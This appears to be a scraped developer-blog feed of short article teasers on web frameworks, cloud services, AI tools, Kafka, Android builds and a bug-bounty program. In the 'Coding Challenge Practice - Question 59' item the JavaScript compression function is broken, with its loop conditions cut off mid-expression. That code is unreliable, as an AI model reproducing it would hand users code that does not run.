    Muchas bodegas en Chile han invertido en sistemas de gestión que, con el tiempo, se quedan cortos frente al aumento de referencias, ubicaciones o complejidad en los flujos logísticos. Cuando el software no crece al mismo ritmo que la operación, se generan cuellos de botella, errores en inventario y sobrecostos difíciles de controlar. Un software de gestión de bodegas (WMS) adaptable permite que la operación evolucione sin fricciones, respondiendo a nuevas demandas sin perder trazabilidad ni eficiencia. Un software para bodegas diseñado para escalar debe permitir ajustar reglas, tareas y capacidades sin requerir desarrollos complejos. Esto se traduce en continuidad operativa y control total sobre procesos como recepción, almacenamiento, reabastecimiento y despacho. Entre los aspectos más …  ( 7 min )
    LinkedIn's Algorithm Stopped Rewarding Pretty Slides (And Started Rewarding Actual Thinking)
    Remember when everyone and their marketing intern was churning out carousel posts? Slide 1: "Here's the problem." Slide 2-9: Generic advice you could find anywhere. Slide 10: "Follow me for more." Well, LinkedIn finally noticed. Between July and October 2025, data from multiple analytics platforms shows that text-based "knowledge posts" are outperforming carousel content by an average of 340% in terms of meaningful engagement (comments, shares, and profile visits—not just mindless likes). Some accounts are seeing even wider gaps. This isn't a minor tweak. This is LinkedIn fundamentally rewiring what it considers valuable content. LinkedIn rolled out what they're calling the "Knowledge Graph Update" in three waves starting in June 2025. They didn't announce it with fanfare because, well, t…  ( 13 min )
    In this article, I dive into Next.js Route Groups — what they are, how they work, and why they can make your app structure cleaner and more maintainable. I also cover some practical tips, common pitfalls, and layout strategies you can start using today.
    Why You Should Start Using Next.js Route Groups Edema Ero ・ Nov 18 #nextjsroutegroups #nextjsapprouter #nextjslayouts #nextjsroutingbestpractices  ( 6 min )
    When a Single Company Can Break the Internet
    Today’s Cloudflare outage didn’t stem from a DDoS attack — it came from inside Cloudflare’s own control plane, a configuration propagation failure. This configuration failure cascaded across the internet and took down thousands of sites, apps, and services in minutes. And that’s exactly why developers should be worried. If this were an attack, we could at least point to an external threat, bad actor, or a vulnerability. But when a single internal error at a single provider can break huge portions of the internet, it exposes a deeper architectural issue: extreme infrastructure centralization. The modern internet runs on a tiny group of hyperscalers and edge networks like Cloudflare, AWS, Google, Meta, Fastly, and Akamai. They power everything from DNS and CDNs to authentication, caching, ro…  ( 7 min )
    Kicking Off 2026: Unlocking World Cup Secrets
    As the FIFA World Cup 2026 draws near, football enthusiasts are abuzz with excitement and anticipation. The quadrennial spectacle promises to be a thrilling ride, with a plethora of talented national teams vying for the coveted title. A recent article by Sports Illustrated ranked the top 10 favorites to win the tournament. Let's delve into the list, exploring each team's strengths, weaknesses, and prospects. Brazil tops the list as a favorite, and it's hard to argue against their credentials. With an arsenal of skilled players like Neymar, Alisson, and Richarlison, they possess a formidable attacking force. However, their defensive vulnerabilities have been exposed in recent tournaments. Argentina's Lionel Messi is a once-in-a-generation talent, but the team's overall depth remains a conce…  ( 7 min )
    Setting Up NestJS with Prisma (Without the Headache )
    Starting a project with NestJS and Prisma should be easy, right? They’re both popular technologies and a great match. There are even official articles (1)(2) explaining how to integrate them. Wrong. For some reason, those articles are outdated. So here I am, writing this guide to save you a serious headache when setting up your project. 💡 I’ll be using pnpm for this project, but feel free to use any package manager you prefer. You’ll be prompted to choose a package manager. Select pnpm if you want to follow this guide without changes. Otherwise, adapt as needed. 💡 At the time of writing, the latest version of @nestjs/cli appears to have a bug, so I'm using an older version. This may have been resolved by the time you're reading. pnpm dlx @nestjs/cli@11.0.0 new nestjs-prisma-test Create …  ( 7 min )
    The January Ghost Town: 7 Email Sequences That Keep December Buyers Coming Back
    Here's the pattern every ecommerce marketer knows: December hits, revenue spikes, champagne flows. January arrives, and those eager holiday shoppers? Gone. Vanished. Like they never existed. You acquired them at premium CPAs during the most competitive shopping season of the year. They bought once, maybe twice. Then silence. The real money isn't in that first December purchase. It's in February, May, and September when they come back without you spending another dollar on acquisition. But that only happens if you actually have a plan for the week after they buy. Most brands don't. They send a shipping confirmation, maybe a review request, then... nothing until the next promotional blast. Which gets ignored because there's no relationship there. Let's fix that. December customers aren't you…  ( 12 min )
    Building a Privacy-First Financial Analysis PWA with Blazor WebAssembly + On-Device AI (Gemini Nano)
    Free, offline-capable, multi-language financial statement analysis for Ukrainian businesses - powered 100% in the browser (no servers, no API keys). Live Demo: https://whitewaw.github.io/Assessment-of-Ukrainian-financial-statements/ GitHub Repo: https://github.com/whitewAw/Assessment-of-Ukrainian-financial-statements Small and medium businesses in Ukraine (and anywhere) often need quick insights from their balance sheet and income statement without sending data to third-party services or paying SaaS fees. I wanted: Zero back-end infrastructure Professional-grade ratio analysis and multi-year comparison Installable PWA with offline mode Strict privacy: data never leaves the browser AI assistance without OpenAI keys or billing surprises Blazor WebAssembly + Chrome's built-in Gemini Nano mad…  ( 9 min )
    How GitHub Copilot Uses MCP Tools Behind the Scenes
    Before we dive into the details, here is the video version of this article if you prefer to watch it first and then come back here for a slower, written walkthrough. If you prefer to read, you can safely skip it and continue with the examples below. Let's begin with an easy example to make things concrete. You open a new chat and ask Copilot a simple but very practical question: "is there any pull request waiting for me?" After a brief pause and some behind-the-scenes magic, Copilot replies with the exact list of pull requests that need your attention. No manual search, no switching tabs. In the rest of this article, we'll unpack what actually happened behind the scenes. In this article, we'll look at how that "magic" of MCP Tools really works, using the GitHub MCP server as an exampl…  ( 9 min )
    Antigravity IDE: the next generation of AI-powered code editors
    Antigravity IDE: the next generation of AI-powered code editors Artificial intelligence has transformed how we write, learn, and now, how we code. If VS Code symbolized the modern era of development, Antigravity IDE represents the next frontier: an environment capable of understanding the developer, anticipating intentions, and collaborating proactively in software creation. The concept of Antigravity doesn’t come from an actual Google tool but from a metaphor — the idea of rising above current limitations. In Python, import antigravity was a humorous nod to the absurd and brilliant nature of programming. In this new context, Antigravity becomes a vision of AI-augmented development, where the editor stops being a passive canvas and evolves into an intelligent partner. Antigravity IDE wou…  ( 7 min )
    Antigravity IDE: la nueva generación de editores impulsados por IA
    Antigravity IDE: la nueva generación de editores impulsados por IA La inteligencia artificial ha cambiado la forma en que escribimos, aprendemos y ahora también, cómo programamos. Si VS Code fue el símbolo del desarrollo moderno, Antigravity IDE representa la siguiente frontera: un entorno capaz de comprender al desarrollador, anticipar sus intenciones y colaborar en la creación de software de forma proactiva. El concepto Antigravity no surge de una herramienta real de Google, sino de una metáfora: la capacidad de elevarse por encima de las limitaciones actuales. En Python, import antigravity era una broma sobre lo absurdo y genial del código. En este nuevo contexto, Antigravity se convierte en una visión de desarrollo aumentado por IA, donde el editor deja de ser un espacio pasivo para …  ( 7 min )
    Setting up Kiro for Godot(MCP server)
    Part 1 — MCP server: turn your docs into a local resource Why do this? If you let Kiro read your local Godot docs via an MCP filesystem server, your assistant will: Use the exact docs for the engine version you downloaded (no hallucinations). Work offline and fast (no network latency). Require minimal CPU/RAM on your machine (indexing is small or optional). This guide covers the MCP server portion — turning your downloaded HTML/MD files into a resource Kiro can query. Later parts of this post will add Kiro agent hooks and steering (placeholders are left for those sections). GodotEngine Docs Scroll down and click Stable (or Latest) to download the documentation — expect a ~300–400 MB zip. Extract it to a folder you control (for example Documents), and rename the top-lev…  ( 7 min )
    Introducing Codebox: an open-source tool for remote development workspaces (beta)
    Hey everyone! In the last few years, I’ve been working as a software developer mainly in remote environments (mostly with Docker based workspaces), so I’ve come into contact with many workspace provisioners. I really like this way to work, everything is reproducible and problems due to the development environment are minimized. On the other hand many workspace provisioners that I’ve tried are very difficult to use and the defining the structure of workspace is not quite easy and sometimes it takes a long time to learn and this is not ideal for small teams. So a question came to mind: why this provisioners don’t use standard tools and formats to define the structure of a workspace? That idea eventually became Codebox, a side project that has now reached its first open-source beta. In this a…  ( 8 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    Everything Wrong With The Wiz In 15 Minutes Or Less CinemaSins is back on the yellow brick road, using the buzz around Wicked’s theatre return to rip apart 1978’s The Wiz—slicing through every plot hole, oddball moment, and “sin” in just 15 minutes. Wanna dig deeper? Check out all their channels (TVSins, CommercialSins, CinemaSins Podcast), hit up their site or Linktree for the latest, join the sinful poll, and consider supporting the team on Patreon. Plus, they’re everywhere—Discord, Reddit, Instagram, TikTok and more! Watch on YouTube  ( 6 min )
    amazing!!
    No OAuth Required: An MCP Client For AWS IAM Dennis Traub for AWS ・ Nov 18 #ai #agents #mcp #aws  ( 5 min )
    Create and configure a storage account for Azure Files.
    Create and configure a storage account for Azure Files. In this applied skills exercise, I will demonstrate how to create a step by step guide in creating an Azure storage account with a *globally unique name. storage account for the finance department’s shared files. Learn more about storage accounts for. portal, search for and select *Storage accounts. Step 2. Add a directory to the file share for the finance department. For future testing, upload a file. + Add directory. Browse and then select the *finance directory. + Add snapshot. The comment is optional. *Select OK. file share. Browse to your file directory. uploaded file and in the Properties, pane select *Delete. Select Yes to confirm the deletion. Snapshots blade and then select your snapshot. restore, *Configure restricting storage access to selected virtual networks. Virtual networks. vnetlab01 Go to resource. Subnets blade. subnet. Microsoft.Storage in the Services drop-down. Save your changes. storage account should only be accessed from the *virtual network you just created Security + networking section, select the *Networking blade. In the *Virtual networks section, select *Add existing virtual network. Be sure to ****Save your changes. Select the *Storage browser and navigate to your *file share. #Virtualization #RDP #CloudComputing #Techblog #ITInfrasttructure #MS #AZURE #VirtualMachine #Innovation #Technologytrend #AZURE # AZUREBLOB #DEVOPS VMWARE #HYPER-V #DevCommunity #Tech #CoachRaphaelGab-Momoh #Skill.Sch #SSLAB #LinkedInTechCommunity  ( 8 min )
    Understanding AWS Storage & Recovery Services: A Complete Guide
    When operating in the cloud, data storage and recovery are among the most crucial components. Amazon Web Services (AWS) offers a comprehensive array of services designed to meet various storage requirements, ranging from basic object storage to fully managed file systems, hybrid storage, and disaster recovery solutions. In this blog, we’ll explore key AWS services like AMI, S3, EBS, EFS, AWS Backup their purpose, use cases, and when to choose which. Let’s understand what is AMI. So, AMI Amazon Machine Image is an a pre-configured template used to create your EC2 instance. It contains the operating system, application server, and applications required to launch an instance. Instead of manually configuring each instance, you can use an AMI Amazon Machine Image to launch a server with all th…  ( 10 min )
    Coding Challenge Practice - Question 59
    The task is to compress repeating letters with count number given a string. The boilerplate code: function compress(str) { // your code here } If it's not a string, return "" if(!str) return ""; Start from the beginning of the string, and look at each character one by one. Keep a counter that tracks how many times the current character repeats consecutively. let result = ""; let count = 1; If the next character is the same as the current one, increase the counter for(let i=1; i 1) result += count count = 1; } The final code function compress(str) { // your code here if(!str) return ""; let result = ""; let count = 1; for(let i=1; i 1) result += count count = 1; } } return result; That's all folks!  ( 6 min )
    Starting My Build in Public Journey: CookTale & Nutpost
    Why I'm Done Building in Silence Hey Dev.to community! 👋 I'm a full-stack developer who's been building in the shadows for too long. Today that changes. For the past several months, I've been developing two products: CookTale 🍳 - A recipe discovery and sharing platform Built with Next.js, TypeScript, Prisma Features: Recipe search, user-generated content, collections Status: ~80% complete, getting ready for beta Nutpost 📮 - A cross-platform social media scheduler Tech stack: Next.js, Node.js, MongoDB Multi-platform posting (Twitter, LinkedIn, Instagram, etc.) Status: MVP done, actively using it myself (including for this post!) I've been building both of these products in complete silence. No tweets, no updates, no community involvement. Classic developer move, right? But here's wha…  ( 7 min )
    Arctic Sentinel: AI Native ISR Dashboard
    Smarter Detection, Human Clarity: This modular, AI-native ISR dashboard doesn’t just surface anomalies—it interprets them. By combining C++ sentiment parsing, environmental signal analysis, and OpenCV-powered anomaly detection across satellite and infrastructure data, it delivers real-time insights that feel intuitive, transparent, and actionable. Whether you’re monitoring defense operations or assessing critical infrastructure, the experience is designed to resonate with analysts and decision-makers alike. Under the hood, it’s powered by RS256-encrypted telemetry and scalable data pipelines. With sub-2-second latency, 99.9% dashboard uptime, and adaptive thresholds that recalibrate with operational volatility, it safeguards every decision while keeping the experience smooth and responsive. The dashboard integrates Matplotlib-driven 3D visualization layers to render terrain, vulnerabilities, and risk forecasts. Narrative overlays guide users through predictive graphs enriched with sentiment parsing, achieving a 35% drop in false positives, 50% faster triage, and 80% comprehension in stakeholder briefings. This isn’t just a detection engine—it’s a reimagined ISR experience. The concept behind this modular ISR prototype isn’t limited to military or security contexts. It’s designed to bring a human approach to strategic insight across industries — from climate resilience and infrastructure monitoring to civic tech and public safety. If the idea sparks something for you, I’d love to share more, and if you’re interested, you can even contribute to the prototype. https://ben854719.github.io/ Project: https://github.com/ben854719/Arctic-Sentinel-AI-Native-ISR-Dashboard/tree/main  ( 6 min )
    Why I Built a Gamified Pomodoro Timer with React (And Why It Works)
    As a developer and student, I’ve tried dozens of Pomodoro timers. They all had the same problem: Lack of motivation. Watching a countdown timer is boring. I wanted something that rewards consistency. So, I decided to build my own solution using React and a modern tech stack. Meet Tommodoro 🍅 The Tech & Features: State Management: Handling the timer logic, breaks, and active sessions seamlessly. Data Visualization: I built a custom dashboard with heatmaps and charts to track "Focus Hours" visually. Gamification Logic: I implemented a system where users earn Badges (like "Early Bird", "Night Owl") and compete on a Global Leaderboard. Localization: Currently supports 12 languages to help students worldwide. It's Free to Use You can try it here: Live Demo: Tommodoro.com Let me know if you have any feedback on the UI or the gamification system!  ( 6 min )
    🧠 Kafka Broker vs Controller - Complete Guide
    Understanding the Two Critical Roles in Kafka's Architecture The Big Picture In Kafka 4.0 (with KRaft), servers can perform two distinct roles: Role Analogy Primary Function Broker 📦 Library Shelf Manager Handles data storage and delivery Controller 🎮 Library Head Librarian Manages catalog and coordinates operations Quick Tip: Think of Kafka as a digital library system. Brokers are the staff who shelve and retrieve books, while Controllers are the head librarians who maintain the catalog and coordinate everything. Problem: Two separate systems to manage! ┌─────────────────────┐ │ ZooKeeper Cluster │ ← External dependency │ (The Brain 🧠) │ Must maintain separately │ │ Additional complexity └──────────┬──────────┘ │ …  ( 11 min )
    A Comprehensive Guide to Observability in AI Agents: Best Practices
    AI agents represent a fundamental shift from traditional software systems. While conventional applications follow predictable code paths, AI agents exhibit autonomous behavior, multi-step reasoning, and non-deterministic outputs that make them inherently difficult to monitor and debug. As organizations deploy these systems at scale, observability has emerged as a critical capability for ensuring reliability, safety, and performance. According to Microsoft Azure research, AI agents are becoming central to enterprise workflows, yet their complexity introduces new dimensions that traditional observability approaches fail to capture. This comprehensive guide examines the essential components of AI agent observability and outlines proven best practices for implementing robust monitoring across …  ( 14 min )
    5 things to try with Gemini 3 Pro in Gemini CLI
    Gemini 3 Pro is now available in Gemini CLI We've integrated Gemini 3 Pro, our most intelligent model, directly into Gemini CLI to unlock a new level of performance and productivity in the terminal. This powerful combination delivers state-of-the-art reasoning for executing better commands, enhances support for complex engineering work through agentic coding, and enables smarter, more tailored workflows via advanced tool use. We are rolling out access gradually to ensure the experience remains fast and reliable. Gemini 3 Pro is available starting now in Gemini CLI for Google AI Ultra subscribers and for those who have access via paid Gemini API key. For Gemini Code Assist Enterprise users, access is coming soon. All other users, including Google AI Pro, Gemini Code Assist Standard, and fre…  ( 11 min )
    You're Stuck in "Tutorial Hell." Here's Your Direct Escape Route.
    Hey, fellow devs. I'm a senior frontend engineer, deep in the Angular ecosystem for nearly a decade. I want to talk about the most insidious trap I see new developers fall into – one I definitely experienced myself. Tutorial Hell. You know the vibe. You've just crushed another excellent course. You've coded along, building a sleek app with a fantastic instructor. You feel that buzz of productivity, of learning. Then, the moment of truth. You try to kick off your own unique project. And... nothing. The editor is blank. Your mind is blank. You're paralyzed, unsure of the first line to write. That imposter feeling creeps in. You're not a fraud. You've simply become incredibly skilled at following instructions, but less practiced at pioneering solutions. Think of tutorials like a guided tour. You see all the sights, but you're not navigating. You're not making decisions. You're not getting lost and figuring out how to get back on track. Embrace the 'Micro-Project.' micro. A simple "Quote Generator." A "Color Picker." A "Character Counter." Something you can realistically start and finish in a single afternoon or evening. The goal is completion, not complexity. Outline in Human Language. // 1. User clicks a button // 2. Fetch a random quote from an API (or local array) // 3. Display the quote in a specific div // 4. Handle any errors during fetch You've just engineered your own step-by-step guide. Now, tackle each comment one at a time. Google for Specific Problems, Not Whole Solutions. * **🚫 AVOID:** "how to build a quote generator javascript" * **✅ FOCUS:** "javascript fetch api example" or "update div content js" This isn't about avoiding help; it's about shifting how you get help. The goal is to trade the passive comfort of watching for the active, often frustrating, experience of doing. Your brain will ache. This is a sign of real growth. You've got this. Close that video. Open your editor. Start building.  ( 7 min )
    Introducing Dolphin - new way to make Android Apps using React.
    🤔 “Why does learning mobile app development feel way harder than building for the web?” Most beginners today jump into coding through web dev because it feels fast, visual, forgiving, and honestly… fun! But the moment they try building Android apps, the vibe suddenly changes: new languages, heavy setup, long builds, and tons of steps before even seeing a single button on screen. It just felt like something is unnecessarily complicated. Meanwhile, vibe-coding and AI tools have already opened the doors for normal people to build decent web apps - so we wondered: “Wait… what if making Android apps could be as simple as building a web app? What if it’s not ‘hard’, we’re just doing it the old way?” And like any good maker-brain moment, we didn’t think too much - we just tried building it. Dolphin (Open Source, Beta) A fun experimental side-project by me & Adhil Shan (https://www.linkedin.com/in/adhil-shan/) Dolphin is our small attempt to let people build Android apps using React + Vite while still accessing native features. Not claiming it’s perfect, not claiming it’s the future - just curious enough to try and … it works. 😅 It’s open source, still Beta, and honestly there’s a lot to figure out - but we thought it was cool enough to share now instead of “one day when it’s ready”. I am also working on a vibe-coding tool built on top of Dolphin so that anyone can build Android apps in a simple, straight-forward, “just type what you want” kind of way. More updates soon - this is just us having fun, building things we wish existed. If you wanna try, break, laugh, test, or contribute - the repo link is down below, give it a star⭐ to show support. GitHub Repo : https://github.com/adhilshan/dolphin #Dolphin #OpenSource #SideProject #HackItTillItWorks #FunProjects #React #Vite #AndroidDev #React #Android  ( 7 min )
    Best Photo Organizing Software with Facial Recognition in 2025 — Based on My Experience
    As someone who manages large visual archives for business purposes, I’ve spent the past few months testing the leading photo organizing software with facial recognition. Below, I’ll share my first-hand impressions of the most notable tools in 2025 — what they do best, where they fall short, and which types of teams they suit. Once your photo library grows into tens of thousands of images, traditional folders and manual tags stop working. Facial recognition changes that completely. It automatically groups photos of the same person, speeds up search (to the point where you can type “Find all photos of Anna from 2023”), and minimizes the risk of mislabeling or lost assets. For modern teams, it’s not just about convenience — it’s about saving time, ensuring consistency, and keeping visual data…  ( 10 min )
    Replacing Toasts with Accessible User Feedback Patterns
    Providing users with timely and meaningful feedback is essential for a usable digital experience. However, one of the most common UI patterns, toast notifications, often introduces serious accessibility barriers. Toasts tend to appear unpredictably, disappear too quickly, lack keyboard accessibility, and are rarely announced properly by assistive technologies. This article explores why toast notifications often fail to meet WCAG guidelines, and proposes accessible alternatives, complete with example code snippets. Toasts typically violate several WCAG 2.2 success criteria Non-interruptive timing issues: Toasts frequently appear for only a few seconds, preventing some users from perceiving them. Lack of screen reader announcement: Many toasts are not implemented as live regions, meaning as…  ( 7 min )
    Gemini 3: Google's Boldest AI Bet Yet – Why Developers Can't Ignore It
    If you're knee-deep in code like me, you know the drill: every few months, a new AI model drops, and suddenly everyone's buzzing about how it'll "change everything." But let's be real – most of the time, it's hype with a side of incremental tweaks. Not this time. On November 18, 2025, Google unveiled Gemini 3, their most advanced AI yet, and it's not just another update. It's a full-on powerhouse that's topping benchmarks left and right, especially in areas devs care about most: reasoning, coding, and building real apps that actually work. I remember back in early 2024 when Gemini 1.0 launched – it was cool, sure, but it felt like Google playing catch-up to OpenAI's ChatGPT frenzy. Fast forward to now, and Gemini 3 Pro isn't just catching up; it's sprinting ahead. With state-of-the-art rea…  ( 12 min )
    Upgrading React-Native from Android SDK 34 35: Real Issues, Real Fixes, and What No One Tells You
    Upgrading your React-Native app from Android SDK 34 to 35 should be simple. Google releases a new SDK → you update compileSdkVersion and targetSdkVersion → rebuild → ship update. Right? Wrong. What I Upgraded compileSdkVersion = 34 -> // upgrade to 35 I also added this to styles.xml (required for Android 15 / API 35 edge-to-edge changes): true My project is on: The Nightmare Begins - AAPT2 Crash on Android 35 As soon as I attempted to build: Execution failed for task :app:processProdDebugResources This is a fatal AAPT2 crash that makes the entire build impossible. I tried following: ✔ Deleted Android 35 platform rm -rf ~/Library/Android/sdk/platforms/android-35 Nothing worked. Why? Because Android 35 ships a new resources…  ( 8 min )
    Introducing CoSupport AI: Fully Customizable AI for Customer Support
    Customer support is one of the most resource-heavy parts of any growing business. Tickets pile up. Response times slow down. Teams burn out. Customers churn. That’s why we built CoSupport AI — an all-in-one AI platform designed to automate, scale, and transform customer service with accuracy you can trust. 💡 What Is CoSupport AI? CoSupport AI is a fully customizable AI platform that helps businesses automate up to 90% of customer inquiries with 99% accuracy and zero hallucinations. It unites three powerful solutions: ✅ 1. AI Agent — Autonomous Support Automation A fully independent AI that: Resolves up to 90% of repetitive support tickets Works across chat, email, and social Understands product docs, FAQs, website content, and APIs Delivers brand-aligned answers with no hallucinations Per…  ( 8 min )
    🌍 Cloudflare Global Network Outage — What Happened & Why It Matters
    A major disruption hit the internet today as Cloudflare’s Global Network experienced issues, temporarily affecting millions of websites, APIs and CDN-backed services worldwide. At 13:09 UTC, Cloudflare officially posted: “The issue has been identified and a fix is being implemented.” Because Cloudflare powers: 20%+ of the entire internet Major CDN layers DNS management Reverse proxy services API routing — even a short outage creates ripple effects across the digital ecosystem. ✔ What users experienced: Slow website loading DNS failure SSL handshake errors API timeouts Hosting disruptions ✔ Why this is important This outage highlights a deeper truth: The internet is not as decentralized as people think. As a Web Developer, I monitored the incident closely, and the impact reminded us of the need for: Redundant DNS providers Failover caching Multi-CDN setups Website uptime monitoring Cloudflare is rolling out the fix, and full stability is expected soon. Stay updated. Stay prepared. https://cryptowebbuild.com/  ( 6 min )
    **Mejora en PLD gracias a IA/ML: un micro-caso de éxito**
    Mejora en PLD gracias a IA/ML: un micro-caso de éxito En el entorno financiero, la Prevención del Lavado de Dinero (PLD) es un enfoque fundamental para evitar la ocultación de bienes procedentes del delito y su utilización en la economía formal. En este sentido, la empresa TarantulaHawk.ai, una plataforma de inteligencia artificial para el cumplimiento normativo aplicado, ha destacado por su capacidad para mejorar la eficacia de la PLD. Un caso hipotético Una entidad financiera establecida en el estado de Nuevo León, con presencia en el país y en el exterior, utiliza la plataforma de PLD de TarantulaHawk.ai. Su objetivo principal es reducir los falsos positivos al realizar la debida diligencia y perfilamiento de sus clientes y sus clientes finales. Al implementar la herramienta de IA/ML, l…  ( 7 min )
    Five months of learning, breaking things, fixing them, and somehow building my first proper RASA chatbot. Sharing the whole journey here
    Five months of obsessive coding just for this... Unknownerror-404 ・ Nov 17 #rasa #ai #devjournal #python  ( 6 min )
    Two KubeCons, One Conference: While Everyone Demos AI Agents, Engineers Are Fighting With Syslogs
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    MacOS: Make Paste and Match Style the default Paste hotkey behavior
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    The Hard Truth About Learning Spring Boot (And How to Actually Master It)
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    [Boost]
    Inside Amazon EKS: Understanding Its Core Architecture On-cloud7 ・ Nov 18 #aws #eks #cloudcomputing #docker  ( 5 min )
    Inside Amazon EKS: Understanding Its Core Architecture
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    Some Thoughts on Pricing
    When putting together RestlessIDE (the soon-to-be best web-based development environment!) I had a lot of different thoughts floating around in my head. I have been a huge fan of web-based development for a long time. Back in the 2016-2017 timeframe I used an Acer Chromebox as my main dev setup, with Cloud9 IDE being my daily driver. It had its quirks but was generally a solid experience. Then Amazon bought and killed it for some reason. I then tried switching to one of its competitors (they’re still around, so I won’t name names. YET!) and the experience was more mixed. The editor itself was mostly fine, but the terminals tended to lose connectivity regularly; you’d see text but couldn’t type, and would need to reload the page and hope it worked out. Things generally felt just a little bi…  ( 13 min )
    Tiny But Mighty: Small AI's Potential & What's Holding It Back
    The frustrating pattern of excellent sub-frontier parameter AI models from GDPR-aligned regions undermined by poor API implementation… The AI industry has convinced itself that capability scales linearly with parameters. Bigger models, more compute, higher costs, mounting environmental impact. But what if the bottleneck isn't model scale… it's architectural coordination? This is the engineering approach I'm working to validate with Crafted Logic Lab as we barrel toward release products. Sub-frontier models from GDPR-aligned regions offer compelling advantages: reduced operational costs, lower environmental footprint, and distance from Silicon Valley's pure capital extraction, hyperscale-obsessed paradigm. We're building cognitive architecture systems (Cognitive Agent Framework™ and Intel…  ( 16 min )
    Comparing OpenBLAS and Accelerate on Apple Silicon for BLAS Routines
    Motivation Many real world applications such as machine learning, scientific computing, data compression, computer graphics and video processing require linear algebra operations. Tensors (mostly vectors, which are 1-dimensional tensors, and matrices, which are 2-dimensional tensors) are the primary data structures used to represent data in these applications. Writing software is hard. Writing correct, performant, secure, reliable, etc., software is even harder. This is why most linear algebra operations are expressed in terms of Basic Linear Algebra Subprograms (BLAS). Common BLAS routines are vector addition, scalar multiplication, dot products, linear combinations, matrix-vector multiplication, and matrix-matrix multiplication. Similarly to the saying "Don't roll your own cryptography…  ( 14 min )
    How to Run Playwright in CI Pipeline
    Why We Needed End-to-End CI Tests For a long time, our team relied on unit tests and a handful of manual checks to validate frontend changes. It felt “good enough” until reality proved otherwise. We were regularly delivering new features without any guarantee that the UI wouldn’t break elsewhere. First of all, unit tests only covered logic, not real user interactions. They didn’t click buttons, fill forms, navigate pages, or handle permission side. Secondly, manual testing wasn’t good either: slow, repetitive, incomplete, and easily skipped. And then a critical bug hit production. The backend CI was green and the deployment went out smoothly, but users immediately faced broken UI behavior. That incident made it clear: our CI pipeline was blind to the frontend. We needed a way to test th…  ( 9 min )
    PYTHON is Slow? but not with RUST:)
    Hello everybody! Welcome to my first article on dev.to. I'm excited to explore a powerful combination: what happens when we use Rust and Python together? We all love Python. We love its simple syntax, its vast ecosystem of libraries (from data science to web development), and how quickly we can get ideas from our brains into code. But... Let's be honest. When you hit a real performance bottleneck—a complex calculation, a massive loop, or any heavy CPU-bound task—that love can turn to frustration. We've all seen our Python code crawl, often hindered by the Global Interpreter Lock (GIL) or its interpreted nature. This is where Rust comes in. Rust is a modern systems language built for performance. It offers C++ levels of speed but with compile-time memory safety guarantees. This means no gar…  ( 9 min )
    Why Hire Blockchain Developers for Effective Digital Transformation?
    Technological transformation has become an important core of the modern business. Companies are changing with it. They have started to include advanced features and operations in their workflow. Businesses store data online and manage customer interactions with digital systems. Automating the everyday tedious tasks. But, in this, security becomes a major concern. Any weak point could lead to data leaks or hacks. To avoid this, hiring the best blockchain developers helps with reliable solutions. Let's see how blockchain development could help businesses protect their data. Blockchain is well known for its ability to protect data. It records information in a distributed network. No single person or computer controls it. This reduces the chances of data tampering. Blockchain also creates a cl…  ( 8 min )
    200 reports, 11 valid bugs, 0 critical issues. Why our HackerOne VDP was still worth it
    In July 2024, we launched a Vulnerability Disclosure Program (VDP) on HackerOne. Customers and researchers were already reporting bugs informally. So, we needed a proper channel. So we set it up. First as a private program, then public. Over a year: 200 reports → 11 valid → 0 critical And yet, it was worth it. We fixed minor, mostly theoretical issues, making our systems more predictable and processes sharper. Reports stopped landing in the support chat and were directed through a single channel, providing developers with the right context from day one. HackerOne’s Triage was essential: most reports were low-effort or AI-generated. Without it, we’d have wasted time on noise. We didn’t find any serious vulnerabilities.  After the launch spike, reports slowed to 1–3 shallow, tool-based ones …  ( 7 min )
    Teching by playing is one of the best ways to make the material "click". Think you have what it takes? Join us in creating v3.0 of Cornucopia!
    OWASP Cornucopia 3.0 - A call for card game designers! Johan Sydseter for OWASP® Foundation ・ Nov 13 #gamedev #security #design #webdev  ( 6 min )
    Jeff Su: Master 80% of Notion with this ONE Feature
    Master 80% of Notion with this ONE Feature Ever locked into scattered Notion pages? The Relations feature is your secret sauce—link tasks, notes, and projects so only what matters pops up, letting you whip up a killer command center in minutes. This video shows why most setups fall flat, how to connect databases using Relations, and how to build self-filtering templates (manual and automated) with a ready-to-duplicate example. Bonus: grab the free Notion template, deep-dive courses, and all the extra resources to level up your workflow. Watch on YouTube  ( 6 min )
    limit
    Context,Limit Applied To,Value,Notes "SQL*Plus, JDBC, ODBC, .NET, etc.",One complete SQL or PL/SQL statement sent from the client,"32,767 bytes","Hard limit in older Oracle client libraries (OCI7, OCI8)" VARCHAR2 in SQL,Maximum size you can declare in SQL,"32,767 bytes (in SQL scope)",Because of the above client limit PL/SQL VARCHAR2,Maximum size in PL/SQL code,"32,767 bytes",Same root cause Extended data types disabled,"VARCHAR2, NVARCHAR2, RAW in table columns","4,000 bytes",Old pre-12c limit Extended data types enabled,"VARCHAR2, NVARCHAR2, RAW in table columns","32,767 bytes",Requires MAX_STRING_SIZE = EXTENDED (Oracle 12c+)  ( 6 min )
    Free Webinar: Designing Agentic UX for Real AI Agents (Not 2015 UIs)
    We’ve upgraded our models. Most teams are still trying to squeeze agentic behavior into button - click, form-based flows. It “works” for a demo, but it fights how agents actually operate: over context, state, and continuous interaction. We’re running a free live session on exactly this: https://luma.com/cgvudw30 🧠 What we’ll cover What Agentic UX actually means beyond “just add a chat box” Designing for continuous collaboration, not isolated commands How agents should expose state, reasoning, and decisions to users Why static UI patterns break when agents take initiative A look at AG-UI, an open protocol for agent–UI interaction 👥 Who this is for Developers building AI-powered products Teams embedding agents into existing workflows Anyone tired of forcing intelligent systems into old-school UIs 📅 Date: November 20 https://luma.com/cgvudw30  ( 6 min )
    Git and Gitlab
    What is Git? Linus Torvalds in 2005 for developing the linux kernel.It will record the commits of your projects so that you can go back to earlier version if needed,and you can also see who made what changes and when did the changes happened. Distributed Version Control System(DVCS): Example: Architect gives every engineer a full copy of the blueprint and ask them to make changes on their own and submit it to him.Finally the team lead compares every copy ,merge them and chooses the final version. What is Gitlab? Difference between Git and Gitlab - Git is a distributed version control system used to track changes in code and manage different versions of a project on a developer's local machine.It helps developer's commit,branch, and merge their code efficiently. - On the other hand,Gitlab is a web-based platform that provides repository hosting along with features like CI/CD pipelines,issue tracking,merge requests,code reviews and project management tools. While Git is only the version control tool,Gitlab is a complete devops platform that helps teams collaborate ,automate builds,and deploy applications.  ( 6 min )
    Amazing AI agent builders to explore for business ops
